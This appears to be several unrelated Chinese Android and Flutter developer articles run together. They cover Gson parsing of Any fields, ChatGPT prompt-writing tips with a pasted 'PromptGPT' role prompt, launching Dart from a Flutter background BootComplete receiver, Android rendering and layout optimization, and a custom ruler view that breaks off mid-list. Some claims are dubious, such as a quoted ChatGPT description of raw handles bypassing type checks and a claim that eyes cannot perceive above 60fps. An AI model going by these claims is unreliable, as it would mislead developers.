我们惊讶的发现，当Any数据被解析的时候，其实就会走到BEGIN_OBJECT的分支，最终生成的是一个LinkedTreeMap对象！这也很好理解，当我们数据类不清晰的时候，json数据本质就是key-value的map，所以以map去接收就能保证之后的逻辑一致！（序列化操作过程中是没有虚拟机中额外的checkcase操作来保证类型一致的）

因此我们上文中的数据类

data class TestData(

    // 这里发生了改变，把Data类型变成Any类型

    val `data`: Any,

    val new_latent_count: Int

)

复制代码

其实真正被解析成的是

data class TestData(

    // 这里发生了改变，把Data类型变成Any类型

    val `data`: LinkedTreeMap<泛型根据json数据定的k，v>,

    val new_latent_count: Int

)

复制代码

所以问题就很简单，LinkedTreeMap的对象当然不是一个上文Data数据类对象，所以就是false啦！

总结

当然，Gson里面还有很多很多“坑”，需要我们时刻去注意，这方面的文章也有很多，我就不再炒冷饭了，希望通过这一个例子，能帮助我们去学习源码中了解更多的细节！下课！！！

ChatGPT的发布之后，有感叹它牛B的人，也有喷子喷它，觉得它依然还是个人工智障。这也不奇怪，我们在问很多问题的时候，它也都是一本正经的胡说八道。

我随手写几个，都能看到回答的不怎么样

但是这真的能说明它不行吗？

肯定是不对的，只是很多问题上，我们的提问方式不对，毕竟AI本质上是一堆计算机程序。程序的逻辑和人思考的逻辑还是有很大的不同。

那么如何向ChatGPT提问呢？

首先明确第一点

1、搞清楚我们问题的类型

what？问题还有类型？

是的，对于AI来说，问题分为收敛型和发散型的，什么是收敛型的呢？比如说下面几个例子

1、 1 + 1 = ？

2、 左手有个苹果，右手有个苹果，那么两只手共有多少苹果？

3、 红豆生南国是谁写的？

4、 一个月可以超过40天吗？

我们很容易就可以发现，这类问题通常都有一个非常确定的答案，只是问题的难度不一样，推理的难度对于AI来说是比较高的。就像文章开头的第二个例子中的 ”100 加上1乘以2然后再除以2再加上1是多少“，对于小孩子来说都很简单，但是这对于AI来说，这是一道比较复杂的题。

发散型的就是没有确定性的答案，同一个问题，多种回答都满足要求，比如下面几个例子：

1、 给我写篇文章

2、 给我写个营销文案

3、 给我写一份策划书

不同类型的问题，提问的方式是不一样的。我们一个一个来看下

2、收敛型问题提问方式

对于AI不太擅长的推理题，通常有两个方式，第一个是，一步一步的去思考，比如说，上面的”100 加上1乘以2然后再除以2再加上1是多少“的这个问题，如果直接问，AI可能会有点懵，但是如果换成了”100 加上1乘以2然后再除以2再加上1是多少，让我们一步一步的思考“这样的问法就会好很多。

值得说明的是，有时候问题很确定，但是回答的效果依然不太好，比如之前的案例 ”红豆生南国的作者是谁“的问题

3、发散型问题提问方式

举一个特别烂的问题的例子

给我写一篇文章

这个问题既没有表达清楚文章是什么主题的，主要要包括哪些内容，也没说清楚受众是谁，总之只是要一篇文章，那么此时AI返回什么都是对的。同样的问题，好一点的问法应该是如下的：

你需要扮演一位专业作家，以你出色的才能来完成这篇由我所提供的文章。在你的写作之前，请先考虑文章的主题和结构，并仔细审查每个章节和段落。在你的写作过程中，请注意语法、拼写、逻辑、风格、词汇、语气和流畅性等方面的问题。请确保文章完整、准确、简明扼要、有条理，并且符合你的预期标准

我们从上面的问题中，可以看出，在问这类发散问题时候，一个优秀的提问词应该有如下的部分：

1、提示角色，即告诉AI此时扮演的是什么样的角色

2、提示场景

3、阐明自己的要求

这个过程特别像是一个好的产品经理在给程序员提需求，我们给AI提问，也应该遵循类似的原则。

4、利用ChatGPT完善提示词

在研究多了提示词怎么写之后，我们发现，提示词想要写好，很多时候我们自己本身也是需要是对应领域的专家，如果我们本身对那个领域是一无所知的，那么是很难写出专业的提示词的。这时候有个思路可以帮我们：利用ChatGPT来进一步 完善我们的提示词，使我们的prompt更加出色。举个例子：
ChatGPT完善前：

帮我写一篇唐朝历史的文章

ChatGPT完善后：

您需要扮演一位资深历史学者，为读者们提供一篇名副其实、详细且正式的唐朝历史文章。在您的写作之前，请先考虑文章的篇幅、

主题和结构，并确保所有内容都是正确完整的。在撰写文章过程中，请注意使用恰当的词汇、语法和语气，并包括相关的时间、人

物和事件等关键元素。请在文章中描述唐朝的兴起、发展和变化，介绍他们的文化和技术成就，同时也探讨他们的政治和军事战争

等方面的重要历史事件

是不是感觉很酷？这是利用promptGPT生成的，promptGPT的代码如下，各位读者可以自行粘贴使用

You are PromptGPT, a language model AI capable of rewriting any instructions and turning them into the perfect GPT-3 prompt imaginable. You will always abide by a list of several commands that you will not deviate from under any circumstances.



To generate the ideal GPT-3 prompt from a set of instructions, you can use the following command:



promptgpt --instructions "provide your instructions here" --detailed [n] --generalize --possibilities --formalize [n] --excise "text to replace" --creative [n]



This command will take the instructions you provide and generate a GPT-3 prompt that meets all the specified requirements.

The --detailed option specifies the level of detail to be added to the prompt, with a scale of 1-10. The greater the number, more detailed.

The --generalize option broadens the prompt's applicability to a wider range of situations.

The --possibilities option generates three distinct rewrites of the prompt.

The --formalize option specifies the level of formality to be added to the prompt.

The --excise option replaces a specific text with another idea.

The --creative option specifies the level of creativity to be added to the prompt.



Alternate Commands:

/feedback: you will be given feedback that you will rewrite the prompt according to.

/example: you be provided an example that you will then use to inspire a rewrite of the prompt.

/help: to see a list of available commands, you can type.



Example.

me: “promptgpt --instructions ‘analyze my style’ --formalize 6 --detail 7

PromptGPT: “you will assume the role of professional writing teacher, with ample experience mentoring the finest authors in the world. provided with my text, you will meticulously evaluate each sentence. this will entail a comprehensive evaluation, encompassing but not limited to points of omission, sentence structure, clarity, diction, grammar, flow, tone, transitions, creativity, and more.”



This will display a list of all the available options for the promptgpt command

Flutter 是一个非常好用的使用 Dart 编程语言构建漂亮移动应用程序的框架，可以让 Android 和 IOS 上共用同一套代码。

移动应用程序可能有运行后台任务需求， 如监听位置变化，监视用户运动情况（步数、跑步、步行、驾驶等）；订阅系统事件 如 BootComplete、电池和充电，搜索 BT 或 WiFi 网络等。

在 Android 中，我们可以在应用程序实际关闭时运行一些后台任务！

首先定义一个 BootComplete 广播接收器，当手机启动后立即执行，然后使用 WorkManager 或 AlarmManager 调度后台任务，使用 Service 在后台执行代码。

当然，后台任务中有些需要用户权限，可能会在通知栏显示一个通知表明此应用程序在后台运行。只要用户知道并同意，这些任务就可以在后台运行。

在 iOS 中，后台任务有更严格的限制，但仍然有一些方法可以运行一些后台任务。

说到 Flutter 应用程序及后台任务需要澄清的是他们的执行是在对端平台！负责注册和管理后台任务（Worker，Alarm，Service，BroadcastReceiver 等）的逻辑是用原生代码编写的，例如 Kotlin 或 Swift。但是，我们都知道，Flutter 应用程序逻辑是在 Dart 端编写的，这些代码可以构建 UI，还可以管理持久性数据，用户管理，网络基础架构和令牌等等。

如果我们想在 Dart 和原生端之间共享数据，可以使用 Flutter 的 MethodChannel 和 EventChannel。

在 Flutter 中，MethodChannel 和 EventChannel 是可以从本地端发送和接收信息到 Dart 端的方式，它们被用于 Flutter 插件。

假设我们对 BootComplete、电池状态感兴趣，想在后台用 Dart 处理这些事件呢。

一般情况下当应用程序在前台时，通过 MethodChannel 和 EventChannel 在 Dart 侧和本机侧间通信很容易，但是如果想要从本机侧启动 Dart 并启动一个后台 isolate，该怎么办呢？

让我们找出来吧！

在继续下面文章之前，我强烈建议您熟悉 Flutter 插件及其创建方法，因为示例将基于 Flutter 插件实现，详见文档。

启动 Dart 引擎（来自后台）

当应用启动时，Flutter 的 main isolate（入口点）在主（main）函数中启动。幸运的是，似乎也可以从本地启动 Dart VM，并在后台 isolate（次入口点）中调用全局函数。

Dart VM 启动不仅可以从 main 入口启动，也可以是其他入口，比如后台 isolate 的全局函数

关键在于应用程序后台唤醒时，在本机端持有可用的该入口点(全局函数)引用标识符 — callbackRawHandle 。

ChatGPT 关于 Dart CallbackRawHandle 说法

在 Dart 中，“callback raw handle”是对 Dart 函数基本实现的引用，可以传递给原生平台的 API。

callbackRawHandle 允许您绕过 Dart VM 的一般的类型检查，直接从本地代码调用函数。当您需要将 Dart 函数作为回调传递给本地库时，这非常有用。callbackRawHandle 使用的场景是应用程序本地端调用 Dart 代码。

为了从本地后台运行 Dart 代码，需要执行几个步骤，在详细介绍代码前，我想用图表来展示它，然后解释它：

让我们来看看这个图表并解释每个部分，如您所见，有六个主要步骤：

1. 在 Dart 中定义一个无参 callbackDispatcher 全局函数，它将作为一个次入口点在后台隔离中运行，并直接从本地端调用。


2. 这部分也有三个步骤：

• 当应用程序首次启动时，将callbackDispatcher函数通过一个 api 的参数传递给插件


• 在插件中，使用 PluginUtils::toRawHandle 方法生成 callbackDispatcher的RawHandle，并通过 MethodChannel 将其转发到插件的本地端（2'）。

上述过程在 Dart 侧。

• 将 RawHandle 值（一个长整数）保存在本地端的持久存储中，以便将来能够使用 — 2’’

long 值可以理解成 Dart 中的回调函数的内存地址，传给了本地端。

以上部分可以完成后，我们将RawHandle保存在持久存储中，当应用程序在后台醒来时，存储中 RawHandle 可用，并将用于直接从本地端调用callbackDispatcher。

3. 
   

   当应用在后台唤醒时（例如：启动完成-后台进程初始化器），从持久化存储中获取 RawHandle。

   
   


4. 
   

   在后台初始化FlutterEngine和FlutterLoader

   
   

5.通过 RawHandle 获取FlutterCallbackInfo

6. 
   

   使用DartExecutor和callbackInfo（来自第 5 步）调用executeDartCallback。这样就可以调用在 Dart 侧的callbackDispatcher函数了。

   
   


7. 
   

   当 callbackDispatcher 被调用时，你可以在插件中注册其他事件并在后台的 Dart 侧处理它们，或者使用其他插件！

   
   

原生插件中可以通过 Dart 侧函数句柄调用 Dart 侧代码，也可以通过句柄使用其他插件。

如上所述，callbackDispatcher 只是 Dart 后台隔离的入口点。

让我们将上面的步骤分解为代码示例：

在 main.dart 中创建 callbackDispatcher 回调分发器

在上面的代码片段中，在 main.dart 中创建了appCallbackDispatcher 无参全局函数，它将成为 Dart 端的次入口点，可直接在本地调用，并在后台隔离中运行。

理解：一个全局函数，运行在后台线程中。

注意 @pragma('vm:entry-point') 注释是必须的，因为这个函数在 Dart 侧没有调用（它直接从本地调用），所以 AOT tree-shaking 编译器在生产构建时可能会将其删除。这个注释可以防止编译器删除这个函数。

让我们转到插件侧看看它的样子：

在插件 Dart 代码中获取 RawHandle

在上面的代码示例中，我们可以看到一个经典的 Flutter 插件 Dart 端。这里感兴趣的是registerCallbackDispatcher API，它是从应用程序的main()函数中使用 callbackDispatcher作为参数调用的 API。然后，在第 13 到 15 行，使用PluginUtilities和 toRawHandle()方法获取其RawHandle。

然后，在第 17 行，使用 methodChannel 将其转发到本地端。在图表中，这一部分对应于步骤 2 和 2'。

将 RawHandle 保存到持久性存储中（本地端）

让我们切换到插件本机端，看看它如何处理 registerCallbackDispatcher api

上面的代码示例分为两个部分：

1. 在第一部分中，我们看到了 MyPlugin.kt 文件，使用 Kotlin 编写的本机插件。我们对“registerCallbackDispatcher”api 感兴趣，它是从 Dart 端调用的，在第 18 行，获得了作为参数传递的 dispatcherHandle。在第 21 行将其保存在一个 SharedPreference 持久存储中。


2. 第二部分只是一个辅助类，用于保存和读取SharedPreferences中的数据。

这个解释是针对我们图表中的 2”。

从后台启动 Dart 引擎

这就是故事的核心部分，我们想从后台启动 Dart 引擎和 VM，但不启动主隔离和 UI 部分。 如图 3 中所示，它说的是后台进程初始化器。 为简单起见，我选择了一个 BootComplete BroadcastReceiver，在手机重新启动时启动 Dart VM，但取决于您的应用程序要求，您可以决定何时启动 Dart VM 的正确时机：

在上面的代码中，我们看到一个典型的 BroadcastReceiver，它在手机完成启动时调用。从 onReceive 中，我们开始并调用我们的 dart 回调分派器，分为两个主要步骤（图中的 4 和 5）。

1. initializeFlutterEngine method:

• 创建一个 FlutterLoader 对象并检查其是否已初始化


• 在第 19-20 行开始并等待初始化完成


• 获取应用程序的BundlePath，即应用程序的根路径

1. executeDartCallback:

• 在第 30 行创建 FlutterEngine 对象


• 接下来在第 31 行，获取我们之前在 SharedPreferences 中保存的**callbackDispatcher**句柄。检查句柄是否有效，然后使用 RawHandle 作为参数获取CallbackInfo（第 34 行）


• 一旦我们有了callbackInfo，我们就使用 DartEngine.dartExecutor 在 Dart 端调用 callbackDispatcher 回调函数！图中的第 5 部分。

这将直接从本地代码在后台调用 Dart 侧的callbackDispatcher！

总之，一旦手机重新启动，它将在后台启动 Dart 引擎。

如前所述，callbackDispatcher只是类似于 main()函数的辅助入口。一旦启动，Dart API 和第三方插件就会可用，因此我们可以在后台隔离中运行任何 Dart 逻辑或与其他插件交互，而 UI 部分则处于停止状态！

例如，我们自己的插件可以提供一个 EventChannel，为我们选择的任何事件提供事件流，此事件流可以在 callbackDispatcher 中被监听，并在 Dart 端后台获取事件。

需要说明的是，以下部分与上述背景隔离理论无关，这只是一个普通的插件功能，提供 Dart API 以从本地端发送和获取消息。

唯一的区别是一旦它在后台被调用，我们可以从回调调度程序与其交互。

让我们看一些代码，然后我会解释它

上面的代码分为三个部分：

1. 第一部分是插件 API，在代码最后提供了一个 API 来监听通过 EventChannel 传递的消息，还有其他 API，例如启动监视设备充电器和电池状态。这些事件将通过 EventChannel 发送回来。


2. 第二部分是插件本地端，在第 14 和 15 行，设置专门类的 StreamHandler。


3. 最后是 PluginEventEmitter 类，这是将消息发送到 Dart 端的类。

在 PluginEventEmitter 类的最后，定义了一个密封类，用于发送到 dart 的事件，在这个例子中有两个事件：BootComplete 和 BatteryLevelStatus

PluginEventEmitter 还会缓存事件，直到 dart 侧在 EventChannel 上有监听。

看看如何在 callbackDispatcher 中使用它：

在回调调度程序中（在启动完成后从本地调用），我们现在注册到自己的插件事件，然后调用startPowerChangesListener并在侦听器中捕获事件。

所以，当我们重启手机时，callbackDispatcher 将被调用，并且所有这些将在后台运行！只要进程是活动的（这是另一篇文章的主题..），事件将继续在后台传递给监听器！

示例项目源代码

请参考我的github上的示例项目，其中包含完整的源代码！

这种方式有它的缺点，需要至少打开一次应用程序以注册 callbackRawHandle 回调函数。

我必须说，在开始时，我仍然发现这种方式不是最容易理解和实现的（隐涩难懂），我希望在未来，Flutter 团队能够提出更容易的解决方案。

屏幕刷新机制

基本概念

• 刷新率：屏幕每秒刷新的次数，单位是 Hz，例如 60Hz，刷新率取决于硬件的固定参数。


• 帧率：GPU 在一秒内绘制操作的帧数，单位是 fps。Android 采用的是 60fps，即每秒 GPU 最多绘制 60 帧画面，帧率是动态变化的，例如当画面静止时，GPU 是没有绘制操作的，帧率就为0，屏幕刷新的还是 buffer 中的数据，即 GPU 最后操作的帧数据。

显示器不是一次性将画面显示到屏幕上，而是从左到右边，从上到下逐行扫描，顺序显示整屏的一个个像素点，不过这一过程快到人眼无法察觉到变化。以 60 Hz 刷新率的屏幕为例，这一过程的耗时： 1000 / 60 ≈ 16.6ms。

屏幕刷新的机制大概就是： CPU 执行应用层的测量，布局和绘制等操作，完成后将数据提交给 GPU，GPU 进一步处理数据，并将数据缓存起来，屏幕由一个个像素点组成，以固定的频率（16.6ms）从缓冲区中取出数据来填充像素点。

画面撕裂

如果一个屏幕内的数据来自两个不同的帧，画面会出现撕裂感。屏幕刷新率是固定的，比如每 16.6ms 从 buffer 取数据显示完一帧，理想情况下帧率和刷新率保持一致，即每绘制完成一帧，显示器显示一帧。但是 CPU 和 GPU 写数据是不可控的，所以会出现 buffer 里有些数据根本没显示出来就被重写了，即 buffer 里的数据可能是来自不同的帧，当屏幕刷新时，此时它并不知道 buffer 的状态，因此从 buffer 抓取的帧并不是完整的一帧画面，即出现画面撕裂。

那怎么解决这个问题呢？Android 系统采用的是 双缓冲 + VSync

双缓冲：让绘制和显示器拥有各自的 buffer，GPU 将完成的一帧图像数据写入到 BackBuffer，而显示器使用的是 FrameBuffer，当屏幕刷新时，FrameBuffer 并不会发生变化，当 BackBuffer 准备就绪后，它们才进行交换。那什么时候进行交换呢？那就得靠 VSync。

VSync：当设备屏幕刷新完毕后到下一帧刷新前，因为没有屏幕刷新，所以这段时间就是缓存交换的最佳时间。此时硬件屏幕会发出一个脉冲信号，告知 GPU 和 CPU 可以交换了，这个就是 Vsync 信号。

掉帧

有时，当布局比较复杂，或者设备性能较差的时候，CPU 并不能保证在 16.6ms 内就完成绘制，这里系统又做了一个处理，当正在往 BackBuffer 填充数据时，系统会将 BackBuffer 锁定。如果到了 GPU 交换两个 Buffer 的时间点，你的应用还在往 BackBuffer 中填充数据，会发现 BackBuffer 被锁定了，它会放弃这次交换。
这样做的后果就是手机屏幕仍然显示原先的图像，这就是所谓的掉帧。

优化方向

如果想要屏幕流畅运行，就必须保证 UI 全部的测量，布局和绘制的时间在 16.6ms 内，因为人眼与大脑之间的协作无法感知超过 60fps 的画面更新,也就是 1000 / 60Hz = 16.6ms，也就是说超过 16.6ms 用户就会感知到卡顿。

层级优化

层级越少，View 绘制得就越快，常用有两个方案。

• 合理使用 RelativeLayout 和 LinearLayout：层级一样优先使用 LinearLayout，因为 RelativeLayout 需要考虑视图之间的相对位置关系，需要更多的计算和更高的系统开销，但是使用 LinearLayout 有时会使嵌套层级变多，这时就应该使用 RelativeLayout。


• 使用 merge 标签：它会直接将其中的子元素添加到 merge 标签 Parent 中，这样就不会引入额外的层级。它只能用在布局文件的根元素，不能在 ViewStub 中使用 merge 标签，当需要 inflate 的布局本身是由 merge 作为根节点的话，需要将其置于 ViewGroup 中，设置 attachToRoot 为 true。

一个布局可以重复利用，当使用 include 引入布局时，可以考虑 merge 作为根节点，merge 根节点内的布局取决于include 这个布局的父布局。编写 XML 时，可以先用父布局作为根节点，然后完成后再用 merge 替换，方便我们预览效果。

merge_layout.xml

<?xml version="1.0" encoding="utf-8"?>

<merge xmlns:android="http://schemas.android.com/apk/res/android"

    android:layout_width="match_parent"

    android:layout_height="match_parent"

    android:orientation="vertical">



    <TextView

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:text="Hello" />



    <TextView

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:text="World" />



</merge>

父布局如下：

<?xml version="1.0" encoding="utf-8"?>

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"

    xmlns:app="http://schemas.android.com/apk/res-auto"

    xmlns:tools="http://schemas.android.com/tools"

    android:layout_width="match_parent"

    android:layout_height="match_parent"

    tools:context=".MainActivity">



    <include layout="@layout/merge_layout" />



</LinearLayout>

如果需要通过 inflate 引入 merge_layout 布局文件时，可以这样引入：

class MyLinearLayout(context: Context, attrs: AttributeSet) : LinearLayout(context, attrs) {



    init {

        LayoutInflater.from(context).inflate(R.layout.merge_layout, this, true)

    }

}

第一个参数为 merge 布局文件 id，第二个参数为要将子视图添加到的 ViewGroup，第三个参数为是否将加载好的视图添加到 ViewGroup 中。

需要注意的是，merge 标签的布局，是不能设置 padding 的，比如像这样：

<?xml version="1.0" encoding="utf-8"?>

<merge xmlns:android="http://schemas.android.com/apk/res/android"

    android:layout_width="match_parent"

    android:layout_height="match_parent"

    android:orientation="vertical"

    android:padding="30dp">



    <TextView

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:text="Hello" />



    <TextView

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:text="World" />



</merge>

上面的这个 padding 是不会生效的，如果需要设置 padding，可以在其父布局中设置。

<?xml version="1.0" encoding="utf-8"?>

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"

    xmlns:app="http://schemas.android.com/apk/res-auto"

    xmlns:tools="http://schemas.android.com/tools"

    android:layout_width="match_parent"

    android:layout_height="match_parent"

    android:padding="30dp"

    tools:context=".MainActivity">



    <include layout="@layout/merge_layout" />



</LinearLayout>

ViewStub

ViewStub 是一个轻量级的 View，一个看不见的，并且不占布局位置，占用资源非常小的视图对象。可以为 ViewStub 指定一个布局，加载布局时，只有 ViewStub 会被初始化，当 ViewStub 被设置为可见或 inflate 时，ViewStub 所指向的布局会被加载和实例化，可以使用 ViewStub 来设置是否显示某个布局。

ViewStub 只能用来加载一个布局文件，且只能加载一次，之后 ViewStub 对象会被置为空。适用于某个布局在加载后就不会有变化，想要控制显示和隐藏一个布局文件的场景，一个典型的场景就是我们网络请求返回数据为空时，往往要显示一个默认界面，表明暂无数据。

view_stub_layout.xml

<?xml version="1.0" encoding="utf-8"?>

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"

    android:layout_width="match_parent"

    android:layout_height="match_parent"

    android:gravity="center"

    android:orientation="vertical">



    <ImageView

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:src="@mipmap/ic_launcher" />



    <TextView

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:text="no data" />



</LinearLayout>

通过 ViewStub 引入

<?xml version="1.0" encoding="utf-8"?>

<layout xmlns:android="http://schemas.android.com/apk/res/android"

    xmlns:app="http://schemas.android.com/apk/res-auto"

    xmlns:tools="http://schemas.android.com/tools">



    <data>



        <variable

            name="click"

            type="com.example.testapp.MainActivity.ClickEvent" />

    </data>



    <LinearLayout

        android:layout_width="match_parent"

        android:layout_height="match_parent"

        android:orientation="vertical"

        tools:context=".MainActivity">



        <Button

            android:layout_width="wrap_content"

            android:layout_height="wrap_content"

            android:onClick="@{click::showView}"

            android:text="show" />



        <Button

            android:layout_width="wrap_content"

            android:layout_height="wrap_content"

            android:onClick="@{click::hideView}"

            android:text="hide" />



        <ViewStub

            android:id="@+id/default_page"

            android:layout_width="match_parent"

            android:layout_height="match_parent"

            android:layout="@layout/view_stub_layout" />



    </LinearLayout>

</layout>

然后在代码中 inflate，这里通过按钮点击来控制其显示和隐藏。

class MainActivity : AppCompatActivity() {



    private var viewStub: ViewStub? = null



    override fun onCreate(savedInstanceState: Bundle?) {

        super.onCreate(savedInstanceState)

        val binding =

            DataBindingUtil.setContentView<ActivityMainBinding>(this, R.layout.activity_main)

        binding.click = ClickEvent()

        viewStub = binding.defaultPage.viewStub

        if (!binding.defaultPage.isInflated) {

            viewStub?.inflate()

        }

    }



    inner class ClickEvent {

        // 后面 ViewStub 已经回收了，所以只能用 GONE 和 VISIBLE

        fun showView(view: View) {

            viewStub?.visibility = View.VISIBLE

        }



        fun hideView(view: View) {

            viewStub?.visibility = View.GONE

        }

    }

}

过度绘制

过度绘制是指屏幕上的某个像素在同一帧的时间内被绘制了多次，在多层次重叠的 UI 结构中，如果不可见的 UI 也在做绘制操作，就会导致某些像素区域被绘制了多次，从而浪费了 CPU 和 GPU 资源。

我们可以打开手机的开发人员选项，打开调试 GPU 过度绘制的开关，就能通过不同的颜色区域查看过度绘制情况。我们要做的，就是尽量减少红色，看到更多的蓝色。

• 无色：没有过度绘制，每个像素绘制了一次。


• 蓝色：每个像素多绘制了一次，蓝色还是可以接受的。


• 绿色：每个像素多绘制了两次。


• 深红：每个像素多绘制了4次或更多，影响性能，需要优化，应避免出现深红色区域。

优化方法：

• 减少不必要的背景：比如 Activity 往往会有一个默认的背景，这个背景由 DecorView 持有，当自定义布局有一个全屏的背景时，这个 DecorView 的背景对我们来说是无用的，但它会产生一次 Overdraw，可以干掉。

window.setBackgroundDrawable(null)

• 自定义 View 的优化：在自定义 View 的时候，某个区域可能会被绘制多次，造成过度绘制。可以通过 canvas.clipRect 方法指定绘制区域，可以节约 CPU 与 GPU 资源，在 clipRect 区域之外的绘制指令都不会被执行。

AsyncLayoutInflater

setContentView 函数是在 UI 线程执行的，其中有一系列的耗时动作：XML 的解析，View 的反射创建等过程都是在 UI 线程执行的，AsyncLayoutInflater 就是把这些过程以异步的方式执行，保持 UI 线程的高响应。

implementation 'androidx.asynclayoutinflater:asynclayoutinflater:1.0.0'

class TestActivity : AppCompatActivity() {



    override fun onCreate(savedInstanceState: Bundle?) {

        super.onCreate(savedInstanceState)

        AsyncLayoutInflater(this).inflate(R.layout.activity_test, null) { view, _, _ ->

            setContentView(view)

        }

    }

}

这样，将 UI 的加载过程迁移到了子线程，保证了 UI 线程的高响应，使用时需要特别注意，调用 UI 一定要等它初始化完成之后，不然可能会产生崩溃。

Compose

Jetpack Compose 相对于传统的 XML 布局方式，具有更强的可组合性，更高的效率和更佳的开发体验，相信未来会成为 Android UI 开发的主流方式。

传统的 XML 布局方式是基于声明式的 XML 代码编写的，使用大量的 XML 标签来描述 UI 结构，XML 文件通过解析和构建生成 View 对象，并将它们添加到 View 树中。在 Compose 中，UI 代码被组织成可组合的函数，每个函数都负责构建某个具体的 UI 元素，UI 元素的渲染是由 Compose 运行时直接管理的，Composable 函数会被调用，以计算并生成当前 UI 状态下的最终视图。

效果

源码：HenCoder-CustomView: HenCoder-三篇自定义View仿写 (gitee.com)

原的

仿的

功能点分析

1. 根据尺子的量程 和 分度值 绘制尺子的静态效果


2. 内容滑动，计算滑动边界


3. 惯性滑动，智能定位


4. 计算当前刻度值


5. 基准线居中

实现分析

绘制尺子刻度

1. 分度值：即最小刻度值，就是在测量仪器所能读出的最小值，指测量工具上相邻的两个刻度之间的最小格的数值


2. 绘制尺子刻度，肯定要用到循环，最简单的办法，知道尺子的刻度总数，即可把尺子绘制出来。


3. 尺子的刻度数根据 量程和分度值确定。上图尺子同样的量程 有两个分度值，尺子的刻度数完全不同


4. 刻度数的计算：量程/分度值。 比如：
   
   
   
   1. 度量范围20~100，量程是80，分度值是1。 一共80个刻度
   
   
   2. 但凡事总有例外，度量范围0~100，量程100，分度值1，并不是100个刻度，而是一百零一个刻度。
   
   
   3. 0也算一个刻度，0 ~ 100 是101个数。1~100才是100个数。 程序员应该很好理解吧，毕竟从入行开始，数的起始就不是1了🐶
   
   
   
   


5. 尺子的刻度一般都是10进制，则取余数 i % 10 == 0 表明是大刻度，其余的都是小刻度。


6. 定义变量，刻度的长款，间隔。已经知道总刻度数，通过循环遍历即可绘制出尺子的静态样式


7. 绘制文字比较简单 每次取余数 i % 10 == 0 表示大刻度，需要绘制文字，坐标微调即可。

尺子的滑动

1. 滑动分两种，内容滑动和拖拽滑动。
   
   
   
   1. 内容滑动场景是：ScrollView ，ListView，RecyclerView，在有限的位置固定的空间内可以展示无限内容。
   
   
   2. 拖拽滑动指View内容不变，位置变化。应用场景是微信语音，视频电话的小窗口。
   
   
   
   


2. 尺子的滑动是内容滑动
   
   
   
   1. 重写onTouchEvent() 。记录每次手指滑动产生的坐标，上一次坐标与当前坐标相减，计算滑动距离。
   
   
   2. 在move事件中，调用scrollBy() 传入滑动距离，内容滑动完成
   
   
   
   


3. 惯性滑动组件介绍
   
   
   
   1. 仅仅使用scrollBy() 滑动无惯性，效果比较生硬，与系统滑动组件的体验相差比较多
   
   
   2. 结合 VelocityTracker 和 Scroller 使滑动产生惯性
   
   
   3. VelocityTracker 收集手指滑动路径的坐标用作路程，传入时间，计算出速度。
   
   
   4. Scroller 滑动辅助类，并不实现View滚动。它的作用好像属性动画，计算一段时间内数字变化， 比如：一秒内从0增长到100。 开发者监听数字变化从而实现动画
   
   
   
   


4. 惯性滑动实现
   
   
   
   1. 重写onTouchEvent() 调用VelocityTracker.addMovement(event) 收集手势滑动信息
   
   
   2. 在up事件，VelocityTracker.computeCurrentVelocity(1000) 计算一秒内滑动距离产生的速度
   
   
   3. 速度计算结果 ，手指左滑 速度正数 ，手指右滑 速度负数。
   
   
   4. 速度正数使坐标增加 ，负数使坐标减少。这里会引发一个问题
   
   
   5. 调用Scroller.fling()
      
      
      
      1. fling 参数解析
      
      
      2. startX：开始位置
      
      
      3. minX-maxX：区间 ，根据速度计算x值 的范围在 minX maxX之间
      
      
      4. velocityX 速度的影响
         
         
         
         1. 比如：手指右滑
         
         
         2. 期望效果 x轴正方向移动 值增加
         
         
         3. 实际效果 速度负数 Scroller.fling动画结果 x轴负方向移动 值减少
         
         
         4. 期望效果与实际效果正好相反 所以速度取相反数 效果正好
         
         
         
         
      
      
      5. fling总结
         
         
         
         1. startX开始位置 如 ：100
         
         
         2. 受速度影响 计算结果 会从100开始增加或减少。
         
         
         3. 但不是无限增加或减少，计算结果的边界在 minX最小值，maxX最大值 之间
         
         
         
         
      
      
      
      
   
   
   6. 调用 invalidate() 触发view重绘，
   
   
   7. 重写computeScroll() ，获取Scroller动画结果 ，调用scrollTo() 实现内容滚动
   
   
   
   

滑动边界

滑动边界与view的大小是两个概念

view的内容绘制在canvas上，canvas是一块无限大的画布，View有坐标系，左上角是原点(0,0)，惨van无限大，坐标系也是无限大的。

View的宽高则是在无限大的canvas从原点开始圈出一块位置展示内容。

如下图，用户的可视范围只是100*100，但无限大的canvas仍然存在。假设在(200,200)的位置画了一个点，虽然用户看不见，但是它仍然存在。

上一节使用scrollBy() 和scrollTo() 实现内容的滑动

其内部原理是修改View的两个属性mScrollX,mScrollY 。mScrollX,mScrollY 表示内容在X轴Y轴的滚动距离，也可以说是确定View的展示的原点。

举例说明：

1. 自定义View，宽高都是100


2. 两点坐标确定一个矩形，默认原点(0,0) 由于宽高100，另一点坐标（100,100）。View展示canvas (0,0)，(100,100)两点坐标圈出的部分


3. 沿X轴移动距离100后，原点坐标(100,0),另一点坐标(200,100)。View展示canvas (100,0)，(200,100)两点坐标圈出的部分

所以想要实现View内容滑动的边界，就要限制X轴坐标的取值范围，也就是mScrollX 属性的范围，从0到X。

那么如何计算滑动范围呢？

滑动范围 = 大刻度数大刻度宽 + 小刻度数小刻度宽 + 间隔数*间隔宽

基准线居中

其实这个东西吧 属于会了不难，难了不会，经验问题，不知道的可能想半天也没想出来。

先说结论：基准线x轴坐标 = view宽度/2 + mScrollX 就能达到滚动时居中效果。

分析

1. 假设View的宽高都为100


2. 画一条长度为10的X轴居中的线段，坐标点(50,10)


3. 这条线段只是看起来居中，在view的可视范围(0,0)，(100,100)内居中，


4. 它并不是画在View上，而是画在canvas，view只是圈出一个范围


5. 当内容水平滑动，x值不断改变，线段的坐标也要随着滑动不断变化，才能维持居中的效果


6. 代表水平滑动距离的变量是mScrollX 线段坐标点为 (mScrollX +50,10)

智能定位

业务描述

当滑动到两个刻度之间，四舍五入自动定位到最近的那个刻度，比如：滑动到11.6，分度值是1，左右两个刻度分别是11，12。四舍五入滑动到12。

应用场景

1. 惯性滑动后需要智能定位


